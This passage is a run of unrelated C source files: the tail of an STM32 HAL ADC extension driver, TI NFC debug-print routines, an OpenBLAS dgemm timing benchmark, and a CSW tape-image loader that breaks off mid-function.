MODIFY_REG(hadc->Instance->CFGR, ADC_CFGR_JQM | ADC_CFGR_JDISCEN, ADC_CFGR_INJECT_CONTEXT_QUEUE((uint32_t)sConfigInjected->QueueInjectedContext)); } } /* Parameters update conditioned to ADC state: */ /* Parameters that can be updated when ADC is disabled or enabled without */ /* conversion on going on regular and injected groups: */ /* - Automatic injected conversion: can be enabled if injected group */ /* external triggers are disabled. */ /* - Channel sampling time */ /* - Channel offset */ tmp_adc_is_conversion_on_going_regular = LL_ADC_REG_IsConversionOngoing(hadc->Instance); tmp_adc_is_conversion_on_going_injected = LL_ADC_INJ_IsConversionOngoing(hadc->Instance); if ((tmp_adc_is_conversion_on_going_regular == 0UL) && (tmp_adc_is_conversion_on_going_injected == 0UL) ) { /* If injected group external triggers are disabled (set to injected */ /* software start): no constraint */ if ((sConfigInjected->ExternalTrigInjecConv == ADC_INJECTED_SOFTWARE_START) || (sConfigInjected->ExternalTrigInjecConvEdge == ADC_EXTERNALTRIGINJECCONV_EDGE_NONE)) { if (sConfigInjected->AutoInjectedConv == ENABLE) { SET_BIT(hadc->Instance->CFGR, ADC_CFGR_JAUTO); } else { CLEAR_BIT(hadc->Instance->CFGR, ADC_CFGR_JAUTO); } } /* If Automatic injected conversion was intended to be set and could not */ /* due to injected group external triggers enabled, error is reported. */ else { if (sConfigInjected->AutoInjectedConv == ENABLE) { /* Update ADC state machine to error */ SET_BIT(hadc->State, HAL_ADC_STATE_ERROR_CONFIG); tmp_hal_status = HAL_ERROR; } else { CLEAR_BIT(hadc->Instance->CFGR, ADC_CFGR_JAUTO); } } if (sConfigInjected->InjecOversamplingMode == ENABLE) { assert_param(IS_ADC_OVERSAMPLING_RATIO(sConfigInjected->InjecOversampling.Ratio)); assert_param(IS_ADC_RIGHT_BIT_SHIFT(sConfigInjected->InjecOversampling.RightBitShift)); /* JOVSE must be reset in case of triggered regular mode */ assert_param(!(READ_BIT(hadc->Instance->CFGR2, ADC_CFGR2_ROVSE | ADC_CFGR2_TROVS) == (ADC_CFGR2_ROVSE | ADC_CFGR2_TROVS))); /* Configuration of Injected Oversampler: */ /* - Oversampling Ratio */ /* - Right bit shift */ /* Enable OverSampling mode */ MODIFY_REG(hadc->Instance->CFGR2, ADC_CFGR2_JOVSE | ADC_CFGR2_OVSR | ADC_CFGR2_OVSS, ADC_CFGR2_JOVSE | sConfigInjected->InjecOversampling.Ratio | sConfigInjected->InjecOversampling.RightBitShift ); } else { /* Disable Regular OverSampling */ CLEAR_BIT(hadc->Instance->CFGR2, ADC_CFGR2_JOVSE); } #if defined(ADC_SMPR1_SMPPLUS) /* Manage specific case of sampling time 3.5 cycles replacing 2.5 cyles */ if (sConfigInjected->InjectedSamplingTime == ADC_SAMPLETIME_3CYCLES_5) { /* Set sampling time of the selected ADC channel */ LL_ADC_SetChannelSamplingTime(hadc->Instance, sConfigInjected->InjectedChannel, LL_ADC_SAMPLINGTIME_2CYCLES_5); /* Set ADC sampling time common configuration */ LL_ADC_SetSamplingTimeCommonConfig(hadc->Instance, LL_ADC_SAMPLINGTIME_COMMON_3C5_REPL_2C5); } else { /* Set sampling time of the selected ADC channel */ LL_ADC_SetChannelSamplingTime(hadc->Instance, sConfigInjected->InjectedChannel, sConfigInjected->InjectedSamplingTime); /* Set ADC sampling time common configuration */ LL_ADC_SetSamplingTimeCommonConfig(hadc->Instance, LL_ADC_SAMPLINGTIME_COMMON_DEFAULT); } #else /* Set sampling time of the selected ADC channel */ LL_ADC_SetChannelSamplingTime(hadc->Instance, sConfigInjected->InjectedChannel, sConfigInjected->InjectedSamplingTime); #endif /* Configure the offset: offset enable/disable, channel, offset value */ /* Shift the offset with respect to the selected ADC resolution. */ /* Offset has to be left-aligned on bit 11, the LSB (right bits) are set to 0 */ tmpOffsetShifted = ADC_OFFSET_SHIFT_RESOLUTION(hadc, sConfigInjected->InjectedOffset); if (sConfigInjected->InjectedOffsetNumber != ADC_OFFSET_NONE) { /* Set ADC selected offset number */ LL_ADC_SetOffset(hadc->Instance, sConfigInjected->InjectedOffsetNumber, sConfigInjected->InjectedChannel, tmpOffsetShifted); } else { /* Scan each offset register to check if the selected channel is targeted. */ /* If this is the case, the corresponding offset number is disabled. */ if (__LL_ADC_CHANNEL_TO_DECIMAL_NB(LL_ADC_GetOffsetChannel(hadc->Instance, LL_ADC_OFFSET_1)) == __LL_ADC_CHANNEL_TO_DECIMAL_NB(sConfigInjected->InjectedChannel)) { LL_ADC_SetOffsetState(hadc->Instance, LL_ADC_OFFSET_1, LL_ADC_OFFSET_DISABLE); } if (__LL_ADC_CHANNEL_TO_DECIMAL_NB(LL_ADC_GetOffsetChannel(hadc->Instance, LL_ADC_OFFSET_2)) == __LL_ADC_CHANNEL_TO_DECIMAL_NB(sConfigInjected->InjectedChannel)) { LL_ADC_SetOffsetState(hadc->Instance, LL_ADC_OFFSET_2, LL_ADC_OFFSET_DISABLE); } if (__LL_ADC_CHANNEL_TO_DECIMAL_NB(LL_ADC_GetOffsetChannel(hadc->Instance, LL_ADC_OFFSET_3)) == __LL_ADC_CHANNEL_TO_DECIMAL_NB(sConfigInjected->InjectedChannel)) { LL_ADC_SetOffsetState(hadc->Instance, LL_ADC_OFFSET_3, LL_ADC_OFFSET_DISABLE); } if (__LL_ADC_CHANNEL_TO_DECIMAL_NB(LL_ADC_GetOffsetChannel(hadc->Instance, LL_ADC_OFFSET_4)) == __LL_ADC_CHANNEL_TO_DECIMAL_NB(sConfigInjected->InjectedChannel)) { LL_ADC_SetOffsetState(hadc->Instance, LL_ADC_OFFSET_4, LL_ADC_OFFSET_DISABLE); } } } /* Parameters update conditioned to ADC state: */ /* Parameters that can be updated only when ADC is disabled: */ /* - Single or differential mode */ if (LL_ADC_IsEnabled(hadc->Instance) == 0UL) { /* Set mode single-ended or differential input of the selected ADC channel */ LL_ADC_SetChannelSingleDiff(hadc->Instance, sConfigInjected->InjectedChannel, sConfigInjected->InjectedSingleDiff); /* Configuration of differential mode */ /* Note: ADC channel number masked with value "0x1F" to ensure shift value within 32 bits range */ if (sConfigInjected->InjectedSingleDiff == ADC_DIFFERENTIAL_ENDED) { /* Set sampling time of the selected ADC channel */ LL_ADC_SetChannelSamplingTime(hadc->Instance, (uint32_t)(__LL_ADC_DECIMAL_NB_TO_CHANNEL((__LL_ADC_CHANNEL_TO_DECIMAL_NB((uint32_t)sConfigInjected->InjectedChannel) + 1UL) & 0x1FUL)), sConfigInjected->InjectedSamplingTime); } } /* Management of internal measurement channels: Vbat/VrefInt/TempSensor */ /* internal measurement paths enable: If internal channel selected, */ /* enable dedicated internal buffers and path. */ /* Note: these internal measurement paths can be disabled using */ /* HAL_ADC_DeInit(). */ if (__LL_ADC_IS_CHANNEL_INTERNAL(sConfigInjected->InjectedChannel)) { tmp_config_internal_channel = LL_ADC_GetCommonPathInternalCh(__LL_ADC_COMMON_INSTANCE(hadc->Instance)); /* If the requested internal measurement path has already been enabled, */ /* bypass the configuration processing. */ if ((sConfigInjected->InjectedChannel == ADC_CHANNEL_TEMPSENSOR) && ((tmp_config_internal_channel & LL_ADC_PATH_INTERNAL_TEMPSENSOR) == 0UL)) { if (ADC_TEMPERATURE_SENSOR_INSTANCE(hadc)) { LL_ADC_SetCommonPathInternalCh(__LL_ADC_COMMON_INSTANCE(hadc->Instance), LL_ADC_PATH_INTERNAL_TEMPSENSOR | tmp_config_internal_channel); /* Delay for temperature sensor stabilization time */ /* Wait loop initialization and execution */ /* Note: Variable divided by 2 to compensate partially */ /* CPU processing cycles, scaling in us split to not */ /* exceed 32 bits register capacity and handle low frequency. */ wait_loop_index = ((LL_ADC_DELAY_TEMPSENSOR_STAB_US / 10UL) * (((SystemCoreClock / (100000UL * 2UL)) + 1UL) + 1UL)); while (wait_loop_index != 0UL) { wait_loop_index--; } } } else if ((sConfigInjected->InjectedChannel == ADC_CHANNEL_VBAT) && ((tmp_config_internal_channel & LL_ADC_PATH_INTERNAL_VBAT) == 0UL)) { if (ADC_BATTERY_VOLTAGE_INSTANCE(hadc)) { LL_ADC_SetCommonPathInternalCh(__LL_ADC_COMMON_INSTANCE(hadc->Instance), LL_ADC_PATH_INTERNAL_VBAT | tmp_config_internal_channel); } } else if ((sConfigInjected->InjectedChannel == ADC_CHANNEL_VREFINT) && ((tmp_config_internal_channel & LL_ADC_PATH_INTERNAL_VREFINT) == 0UL)) { if (ADC_VREFINT_INSTANCE(hadc)) { LL_ADC_SetCommonPathInternalCh(__LL_ADC_COMMON_INSTANCE(hadc->Instance), LL_ADC_PATH_INTERNAL_VREFINT | tmp_config_internal_channel); } } else { /* nothing to do */ } } /* Process unlocked */ __HAL_UNLOCK(hadc); /* Return function status */ return tmp_hal_status; } #if defined(ADC_MULTIMODE_SUPPORT) /** * @brief Enable ADC multimode and configure multimode parameters * @note Possibility to update parameters on the fly: * This function initializes multimode parameters, following * calls to this function can be used to reconfigure some parameters * of structure "ADC_MultiModeTypeDef" on the fly, without resetting * the ADCs. * The setting of these parameters is conditioned to ADC state. * For parameters constraints, see comments of structure * "ADC_MultiModeTypeDef". * @note To move back configuration from multimode to single mode, ADC must * be reset (using function HAL_ADC_Init() ). * @param hadc Master ADC handle * @param multimode Structure of ADC multimode configuration * @retval HAL status */ HAL_StatusTypeDef HAL_ADCEx_MultiModeConfigChannel(ADC_HandleTypeDef *hadc, ADC_MultiModeTypeDef *multimode) { HAL_StatusTypeDef tmp_hal_status = HAL_OK; ADC_Common_TypeDef *tmpADC_Common; ADC_HandleTypeDef tmphadcSlave; uint32_t tmphadcSlave_conversion_on_going; /* Check the parameters */ assert_param(IS_ADC_MULTIMODE_MASTER_INSTANCE(hadc->Instance)); assert_param(IS_ADC_MULTIMODE(multimode->Mode)); if (multimode->Mode != ADC_MODE_INDEPENDENT) { assert_param(IS_ADC_DMA_ACCESS_MULTIMODE(multimode->DMAAccessMode)); assert_param(IS_ADC_SAMPLING_DELAY(multimode->TwoSamplingDelay)); } /* Process locked */ __HAL_LOCK(hadc); /* Temporary handle minimum initialization */ __HAL_ADC_RESET_HANDLE_STATE(&tmphadcSlave); ADC_CLEAR_ERRORCODE(&tmphadcSlave); ADC_MULTI_SLAVE(hadc, &tmphadcSlave); if (tmphadcSlave.Instance == NULL) { /* Update ADC state machine to error */ SET_BIT(hadc->State, HAL_ADC_STATE_ERROR_CONFIG); /* Process unlocked */ __HAL_UNLOCK(hadc); return HAL_ERROR; } /* Parameters update conditioned to ADC state: */ /* Parameters that can be updated when ADC is disabled or enabled without */ /* conversion on going on regular group: */ /* - Multimode DMA configuration */ /* - Multimode DMA mode */ tmphadcSlave_conversion_on_going = LL_ADC_REG_IsConversionOngoing((&tmphadcSlave)->Instance); if ((LL_ADC_REG_IsConversionOngoing(hadc->Instance) == 0UL) && (tmphadcSlave_conversion_on_going == 0UL)) { /* Pointer to the common control register */ tmpADC_Common = __LL_ADC_COMMON_INSTANCE(hadc->Instance); /* If multimode is selected, configure all multimode parameters. */ /* Otherwise, reset multimode parameters (can be used in case of */ /* transition from multimode to independent mode). */ if (multimode->Mode != ADC_MODE_INDEPENDENT) { MODIFY_REG(tmpADC_Common->CCR, ADC_CCR_MDMA | ADC_CCR_DMACFG, multimode->DMAAccessMode | ADC_CCR_MULTI_DMACONTREQ((uint32_t)hadc->Init.DMAContinuousRequests)); /* Parameters that can be updated only when ADC is disabled: */ /* - Multimode mode selection */ /* - Multimode delay */ /* Note: Delay range depends on selected resolution: */ /* from 1 to 12 clock cycles for 12 bits */ /* from 1 to 10 clock cycles for 10 bits, */ /* from 1 to 8 clock cycles for 8 bits */ /* from 1 to 6 clock cycles for 6 bits */ /* If a higher delay is selected, it will be clipped to maximum delay */ /* range */ if (__LL_ADC_IS_ENABLED_ALL_COMMON_INSTANCE(__LL_ADC_COMMON_INSTANCE(hadc->Instance)) == 0UL) { MODIFY_REG(tmpADC_Common->CCR, ADC_CCR_DUAL | ADC_CCR_DELAY, multimode->Mode | multimode->TwoSamplingDelay ); } } else /* ADC_MODE_INDEPENDENT */ { CLEAR_BIT(tmpADC_Common->CCR, ADC_CCR_MDMA | ADC_CCR_DMACFG); /* Parameters that can be updated only when ADC is disabled: */ /* - Multimode mode selection */ /* - Multimode delay */ if (__LL_ADC_IS_ENABLED_ALL_COMMON_INSTANCE(__LL_ADC_COMMON_INSTANCE(hadc->Instance)) == 0UL) { CLEAR_BIT(tmpADC_Common->CCR, ADC_CCR_DUAL | ADC_CCR_DELAY); } } } /* If one of the ADC sharing the same common group is enabled, no update */ /* could be done on neither of the multimode structure parameters. */ else { /* Update ADC state machine to error */ SET_BIT(hadc->State, HAL_ADC_STATE_ERROR_CONFIG); tmp_hal_status = HAL_ERROR; } /* Process unlocked */ __HAL_UNLOCK(hadc); /* Return function status */ return tmp_hal_status; } #endif /* ADC_MULTIMODE_SUPPORT */ /** * @brief Enable Injected Queue * @note This function resets CFGR register JQDIS bit in order to enable the * Injected Queue. JQDIS can be written only when ADSTART and JDSTART * are both equal to 0 to ensure that no regular nor injected * conversion is ongoing. * @param hadc ADC handle * @retval HAL status */ HAL_StatusTypeDef HAL_ADCEx_EnableInjectedQueue(ADC_HandleTypeDef *hadc) { HAL_StatusTypeDef tmp_hal_status; uint32_t tmp_adc_is_conversion_on_going_regular; uint32_t tmp_adc_is_conversion_on_going_injected; /* Check the parameters */ assert_param(IS_ADC_ALL_INSTANCE(hadc->Instance)); tmp_adc_is_conversion_on_going_regular = LL_ADC_REG_IsConversionOngoing(hadc->Instance); tmp_adc_is_conversion_on_going_injected = LL_ADC_INJ_IsConversionOngoing(hadc->Instance); /* Parameter can be set only if no conversion is on-going */ if ((tmp_adc_is_conversion_on_going_regular == 0UL) && (tmp_adc_is_conversion_on_going_injected == 0UL) ) { CLEAR_BIT(hadc->Instance->CFGR, ADC_CFGR_JQDIS); /* Update state, clear previous result related to injected queue overflow */ CLEAR_BIT(hadc->State, HAL_ADC_STATE_INJ_JQOVF); tmp_hal_status = HAL_OK; } else { tmp_hal_status = HAL_ERROR; } return tmp_hal_status; } /** * @brief Disable Injected Queue * @note This function sets CFGR register JQDIS bit in order to disable the * Injected Queue. JQDIS can be written only when ADSTART and JDSTART * are both equal to 0 to ensure that no regular nor injected * conversion is ongoing. * @param hadc ADC handle * @retval HAL status */ HAL_StatusTypeDef HAL_ADCEx_DisableInjectedQueue(ADC_HandleTypeDef *hadc) { HAL_StatusTypeDef tmp_hal_status; uint32_t tmp_adc_is_conversion_on_going_regular; uint32_t tmp_adc_is_conversion_on_going_injected; /* Check the parameters */ assert_param(IS_ADC_ALL_INSTANCE(hadc->Instance)); tmp_adc_is_conversion_on_going_regular = LL_ADC_REG_IsConversionOngoing(hadc->Instance); tmp_adc_is_conversion_on_going_injected = LL_ADC_INJ_IsConversionOngoing(hadc->Instance); /* Parameter can be set only if no conversion is on-going */ if ((tmp_adc_is_conversion_on_going_regular == 0UL) && (tmp_adc_is_conversion_on_going_injected == 0UL) ) { LL_ADC_INJ_SetQueueMode(hadc->Instance, LL_ADC_INJ_QUEUE_DISABLE); tmp_hal_status = HAL_OK; } else { tmp_hal_status = HAL_ERROR; } return tmp_hal_status; } /** * @brief Disable ADC voltage regulator. * @note Disabling voltage regulator allows to save power. This operation can * be carried out only when ADC is disabled. * @note To enable again the voltage regulator, the user is expected to * resort to HAL_ADC_Init() API. * @param hadc ADC handle * @retval HAL status */ HAL_StatusTypeDef HAL_ADCEx_DisableVoltageRegulator(ADC_HandleTypeDef *hadc) { HAL_StatusTypeDef tmp_hal_status; /* Check the parameters */ assert_param(IS_ADC_ALL_INSTANCE(hadc->Instance)); /* Setting of this feature is conditioned to ADC state: ADC must be ADC disabled */ if (LL_ADC_IsEnabled(hadc->Instance) == 0UL) { LL_ADC_DisableInternalRegulator(hadc->Instance); tmp_hal_status = HAL_OK; } else { tmp_hal_status = HAL_ERROR; } return tmp_hal_status; } /** * @brief Enter ADC deep-power-down mode * @note This mode is achieved in setting DEEPPWD bit and allows to save power * in reducing leakage currents. It is particularly interesting before * entering stop modes. * @note Setting DEEPPWD automatically clears ADVREGEN bit and disables the * ADC voltage regulator. This means that this API encompasses * HAL_ADCEx_DisableVoltageRegulator(). Additionally, the internal * calibration is lost. * @note To exit the ADC deep-power-down mode, the user is expected to * resort to HAL_ADC_Init() API as well as to relaunch a calibration * with HAL_ADCEx_Calibration_Start() API or to re-apply a previously * saved calibration factor. * @param hadc ADC handle * @retval HAL status */ HAL_StatusTypeDef HAL_ADCEx_EnterADCDeepPowerDownMode(ADC_HandleTypeDef *hadc) { HAL_StatusTypeDef tmp_hal_status; /* Check the parameters */ assert_param(IS_ADC_ALL_INSTANCE(hadc->Instance)); /* Setting of this feature is conditioned to ADC state: ADC must be ADC disabled */ if (LL_ADC_IsEnabled(hadc->Instance) == 0UL) { LL_ADC_EnableDeepPowerDown(hadc->Instance); tmp_hal_status = HAL_OK; } else { tmp_hal_status = HAL_ERROR; } return tmp_hal_status; } /** * @} */ /** * @} */ #endif /* HAL_ADC_MODULE_ENABLED */ /** * @} */ /** * @} */ /************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
192740.c
//***************************************************************************** // // nfc_p2p_demo_debug.c - contains debug over UART functions // // Copyright (c) 2014 Texas Instruments Incorporated. All rights reserved. // Software License Agreement // // Texas Instruments (TI) is supplying this software for use solely and // exclusively on TI's microcontroller products. The software is owned by // TI and/or its suppliers, and is protected under applicable copyright // laws. You may not combine this software with "viral" open-source // software in order to form a larger program. // // THIS SOFTWARE IS PROVIDED "AS IS" AND WITH ALL FAULTS. // NO WARRANTIES, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING, BUT // NOT LIMITED TO, IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE APPLY TO THIS SOFTWARE. TI SHALL NOT, UNDER ANY // CIRCUMSTANCES, BE LIABLE FOR SPECIAL, INCIDENTAL, OR CONSEQUENTIAL // DAMAGES, FOR ANY REASON WHATSOEVER. // // This is part of revision 2.1.0.12573 of the EK-TM4C123GXL Firmware Package. // //***************************************************************************** #include <stdint.h> #include <stdbool.h> #include "utils/uartstdio.h" #include "utils/ustdlib.h" #include "nfclib/nfc_p2p.h" //***************************************************************************** // // Print Header Debug Info // //***************************************************************************** void DebugHeader(sNDEFMessageData sNDEFMessage) { uint32_t x=0; UARTprintf("===== Message Header Begin =====\n"); UARTprintf("\nDecoded Info:\n"); UARTprintf(" StatusByte:\n"); UARTprintf(" MB : 0x%x \n",sNDEFMessage.sStatusByte.MB); UARTprintf(" ME : 0x%x \n",sNDEFMessage.sStatusByte.ME); UARTprintf(" CF : 0x%x \n",sNDEFMessage.sStatusByte.CF); UARTprintf(" SR : 0x%x \n",sNDEFMessage.sStatusByte.SR); UARTprintf(" IL : 0x%x \n",sNDEFMessage.sStatusByte.IL); UARTprintf(" TNF: 0x%x \n",sNDEFMessage.sStatusByte.TNF); UARTprintf(" TypeLength: 0x%x \n", sNDEFMessage.ui8TypeLength); UARTprintf(" PayloadLength: 0x%x , %d\n",sNDEFMessage.ui32PayloadLength, sNDEFMessage.ui32PayloadLength); UARTprintf(" IDLength: 0x%x \n", sNDEFMessage.ui8IDLength); UARTprintf(" Type: "); for(x=0;x<NDEF_TYPE_MAXSIZE;x++) { UARTprintf("%c",sNDEFMessage.pui8Type[x]); } UARTprintf("\n"); UARTprintf(" ID: 0x"); for(x=0;x<NDEF_ID_MAXSIZE;x++) { UARTprintf("%c",sNDEFMessage.pui8ID[x]); } UARTprintf("\n"); UARTprintf(" PayloadPtr: 0x%x \n",sNDEFMessage.pui8PayloadPtr); UARTprintf("===== Message Header End =====\n\n"); #ifdef DEBUG_PRINT UARTprintf("\n=====Payload Begin =====\n"); // // Wait for the UART to catch up. // #if defined(UART_BUFFERED) UARTFlushTx(false); #endif for(x=0;x<sNDEFMessage.ui32PayloadLength;x++) { if(x%20==0) { #if defined(UART_BUFFERED) UARTFlushTx(false); #endif } UARTprintf(" Payload[%d]=0x%x, '%c' \n",x, *(sNDEFMessage.pui8PayloadPtr + x), *(sNDEFMessage.pui8PayloadPtr + x)); } UARTprintf("\n=====Payload End=====\n"); #endif //DEBUG_PRINT // // Wait for the UART to catch up. // #if defined(UART_BUFFERED) UARTFlushTx(false); #endif return; } //***************************************************************************** // // Print Text Record Debug Info // //***************************************************************************** void DebugTextRecord(sNDEFTextRecord sNDEFText) { uint32_t x=0; UARTprintf(" Tag is Text Record \n"); UARTprintf(" Text:'"); for(x=0;x<sNDEFText.ui32TextLength;x++) { if(x%20==0) { #if defined(UART_BUFFERED) UARTFlushTx(false); #endif } UARTprintf("%c",sNDEFText.pui8Text[x]); } UARTprintf("'\n"); #if defined(UART_BUFFERED) UARTFlushTx(false); #endif return; } //***************************************************************************** // // Print URI Record Debug Info // //***************************************************************************** void DebugURIRecord(sNDEFURIRecord sNDEFURI) { uint32_t x=0; UARTprintf(" Tag is URI Record \n"); UARTprintf(" URI IDCode: 0x%x\n",sNDEFURI.eIDCode); UARTprintf(" URI:'"); for(x=0;x<sNDEFURI.ui32URILength;x++) { if(x%20==0) { #if defined(UART_BUFFERED) UARTFlushTx(false); #endif } UARTprintf("%c",sNDEFURI.puiUTF8String[x]); } UARTprintf("'\n"); #if defined(UART_BUFFERED) UARTFlushTx(false); #endif return; } //***************************************************************************** // // Print Smart Poster Debug Info // //***************************************************************************** void DebugSmartPosterRecord(sNDEFSmartPosterRecord sNDEFSmartPoster) { uint32_t x=0; UARTprintf(" Tag is SmartPoster Record \n"); UARTprintf(" SmartPoster Title:'"); #if defined(UART_BUFFERED) UARTFlushTx(false); #endif for(x=0;x<sNDEFSmartPoster.sTextPayload.ui32TextLength;x++) { UARTprintf("%c",sNDEFSmartPoster.sTextPayload.pui8Text[x]); } UARTprintf("'\n"); UARTprintf(" SmartPoster URI:'"); #if defined(UART_BUFFERED) UARTFlushTx(false); #endif for(x=0;x<sNDEFSmartPoster.sURIPayload.ui32URILength;x++) { UARTprintf("%c",sNDEFSmartPoster.sURIPayload.puiUTF8String[x]); } UARTprintf("'\n"); if(sNDEFSmartPoster.bActionExists) { switch(sNDEFSmartPoster.sActionPayload.eAction) { case DO_ACTION: { UARTprintf(" SmartPoster Action: Do Action (0x%x)\n", sNDEFSmartPoster.sActionPayload.eAction); break; } case SAVE_FOR_LATER: { UARTprintf(" SmartPoster Action: Save for Later (0x%x)\n", sNDEFSmartPoster.sActionPayload.eAction); break; } case OPEN_FOR_EDITING: { UARTprintf(" SmartPoster Action: Open for Editing (0x%x)\n", sNDEFSmartPoster.sActionPayload.eAction); break; } default: { break; } } } else { UARTprintf(" SmartPoster Action: Not Present\n"); } #if defined(UART_BUFFERED) UARTFlushTx(false); #endif return; } //***************************************************************************** // // Print Signiture Record Debug Info // //***************************************************************************** void DebugSignitureRecord(void) { UARTprintf(" Tag is Signature Record \n"); UARTprintf(" Signature Records are not fully supported yet.\n"); #if defined(UART_BUFFERED) UARTFlushTx(false); #endif return; }
632809.c
#include "stdio.h" #include "stdlib.h" #include "sys/time.h" #include "time.h" extern void dgemm_(char*, char*, int*, int*,int*, double*, double*, int*, double*, int*, double*, double*, int*); extern int openblas_get_num_threads(); int main(int argc, char* argv[]) { int i; int m = 1000; int n = 1000; int k = 1000; printf("openblas_get_num_threads = %d \n",openblas_get_num_threads()); int sizeofa = m * k; int sizeofb = k * n; int sizeofc = m * n; char ta = 'N'; char tb = 'N'; double alpha = 1.2; double beta = 0.001; struct timeval start,finish; double duration; double* A = (double*)malloc(sizeof(double) * sizeofa); double* B = (double*)malloc(sizeof(double) * sizeofb); double* C = (double*)malloc(sizeof(double) * sizeofc); srand((unsigned)time(NULL)); for (i=0; i<sizeofa; i++) A[i] = i%3+1;//(rand()%100)/10.0; for (i=0; i<sizeofb; i++) B[i] = i%3+1;//(rand()%100)/10.0; for (i=0; i<sizeofc; i++) C[i] = i%3+1;//(rand()%100)/10.0; //#if 0 printf("m=%d,n=%d,k=%d,alpha=%lf,beta=%lf,sizeofc=%d\n",m,n,k,alpha,beta,sizeofc); gettimeofday(&start, NULL); // printf("dgemm_start\n"); dgemm_(&ta, &tb, &m, &n, &k, &alpha, A, &m, B, &k, &beta, C, &m); // printf("dgemm_end\n"); gettimeofday(&finish, NULL); duration = ((double)(finish.tv_sec-start.tv_sec)*1000000 + (double)(finish.tv_usec-start.tv_usec)) / 1000000; double gflops = 2.0 * m *n*k; gflops = gflops/duration*1.0e-6; printf("%dx%dx%d\t%lf s\t%lf MFLOPS\n", m, n, k, duration, gflops); free(A); free(B); free(C); return 0; }
65394.c
#include "tape_csw.h" #include "log.h" #include "tape.h" #include "util.h" #include "util_compress.h" #include <assert.h> #include <inttypes.h> #include <math.h> #include <string.h> struct tape_csw_thresholds { uint32_t lo_bit; uint32_t hi_bit; }; static int tape_csw_is_1200(struct tape_csw_thresholds* p_thres, uint32_t half_wave, uint32_t half_wave2) { uint32_t total = (half_wave + half_wave2); return ((total >= p_thres->lo_bit) && (total <= p_thres->hi_bit)); } static int tape_csw_is_2400(struct tape_csw_thresholds* p_thres, uint32_t half_wave, uint32_t half_wave2, uint32_t half_wave3, uint32_t half_wave4) { uint32_t total = (half_wave + half_wave2 + half_wave3 + half_wave4); return ((total >= p_thres->lo_bit) && (total <= p_thres->hi_bit)); } static int tape_csw_is_half_2400(uint32_t half_wave, uint32_t lo_half_2400, uint32_t hi_half_2400) { return ((half_wave >= lo_half_2400) && (half_wave <= hi_half_2400)); } static uint32_t tape_csw_get_next_half_wave(uint32_t* p_len_consumed, uint8_t* p_buf, uint32_t len) { uint8_t byte; assert(len > 0); *p_len_consumed = 1; byte = p_buf[0]; if (byte != 0) { return byte; } /* If it fits, it's a zero byte followed by a 4-byte length. */ if (len < 5) { return byte; } *p_len_consumed = 5; return util_read_le32(&p_buf[1]); } static void tape_csw_get_next_bit(int* p_bit, uint32_t* p_bit_bytes, uint32_t* p_bit_samples, uint32_t* p_half_wave_bytes, uint32_t* p_half_wave, uint32_t* p_half_wave2, uint32_t* p_half_wave3, uint32_t* p_half_wave4, struct tape_csw_thresholds* p_thres, uint8_t* p_buf, uint32_t len) { uint32_t len_consumed; uint32_t len_consumed_total = 0; assert(len > 0); *p_bit = k_tape_bit_silence; *p_half_wave = tape_csw_get_next_half_wave(&len_consumed, p_buf, len); *p_half_wave2 = 0; *p_half_wave3 = 0; *p_half_wave4 = 0; *p_bit_bytes = len_consumed; *p_bit_samples = *p_half_wave; *p_half_wave_bytes = len_consumed; len -= len_consumed; p_buf += len_consumed; len_consumed_total += len_consumed; if (len == 0) { return; } *p_half_wave2 = tape_csw_get_next_half_wave(&len_consumed, p_buf, len); len -= len_consumed; p_buf += len_consumed; len_consumed_total += len_consumed; if (tape_csw_is_1200(p_thres, *p_half_wave, *p_half_wave2)) { *p_bit = k_tape_bit_0; *p_bit_bytes = len_consumed_total; *p_bit_samples = (*p_half_wave + *p_half_wave2); return; } if (len == 0) { return; } *p_half_wave3 = tape_csw_get_next_half_wave(&len_consumed, p_buf, len); len -= len_consumed; p_buf += len_consumed; len_consumed_total += len_consumed; if (len == 0) { return; } *p_half_wave4 = tape_csw_get_next_half_wave(&len_consumed, p_buf, len); len -= len_consumed; p_buf += len_consumed; len_consumed_total += len_consumed; if (tape_csw_is_2400(p_thres, *p_half_wave, *p_half_wave2, *p_half_wave3, *p_half_wave4)) { *p_bit = k_tape_bit_1; *p_bit_bytes = len_consumed_total; *p_bit_samples = (*p_half_wave + *p_half_wave2 + *p_half_wave3 + *p_half_wave4); } } void tape_csw_load(struct tape_struct* p_tape, uint8_t* p_src, uint32_t src_len, int do_check_bits) { /* The CSW file format: http://ramsoft.bbk.org.omegahg.com/csw.html */ struct tape_csw_thresholds thres_normal; struct tape_csw_thresholds thres_carrier; uint32_t thres_lo_half_2400; uint32_t thres_hi_half_2400; uint8_t* p_in_buf; uint8_t extension_len; uint32_t i_waves; uint32_t carrier_count; uint32_t data_one_bits_count; uint32_t ticks; int is_silence; int is_carrier; uint32_t data_len; uint32_t samples; uint32_t bit_index; uint32_t byte_wave_start; uint32_t byte_sample_start; uint32_t sample_rate; uint8_t* p_uncompress_buf = NULL; if (src_len < 0x34) { util_bail("CSW file too small"); } if (memcmp(p_src, "Compressed Square Wave", 22) != 0) { util_bail("CSW file incorrect header"); } if (p_src[0x16] != 0x1A) { util_bail("CSW file incorrect terminator code"); } if (p_src[0x17] != 0x02) { util_bail("CSW file not version 2"); } sample_rate = util_read_le32(&p_src[0x19]); if (sample_rate != 44100) { log_do_log(k_log_tape, k_log_info, "unusual sample rate: %"PRIu32, sample_rate); } thres_normal.lo_bit = round(sample_rate / 1200.0 * 0.75); thres_normal.hi_bit = round(sample_rate / 1200.0 * 1.25); thres_carrier.lo_bit = round(sample_rate / 1200.0 * 0.82); thres_carrier.hi_bit = round(sample_rate / 1200.0 * 1.18); thres_lo_half_2400 = round(sample_rate / (2400.0 * 2) * 0.7); thres_hi_half_2400 = round(sample_rate / (2400.0 * 2) * 1.4); if ((p_src[0x21] != 0x01) && (p_src[0x21] != 0x02)) { util_bail("CSW file compression not RLE or Z-RLE"); } extension_len = p_src[0x23]; p_in_buf = p_src; p_in_buf += 0x34; src_len -= 0x34; if (extension_len > src_len) { util_bail("CSW file extension doesn't fit"); } p_in_buf += extension_len; src_len -= extension_len; if (p_src[0x21] == 0x01) { data_len = src_len; } else { int uncompress_ret; size_t uncompress_len = (k_tape_max_file_size * 16); p_uncompress_buf = util_malloc(uncompress_len); uncompress_ret = util_uncompress(&uncompress_len, p_in_buf, src_len, p_uncompress_buf); if (uncompress_ret != 0) { util_bail("CSW uncompress failed"); } if (uncompress_len == (k_tape_max_file_size * 16)) { 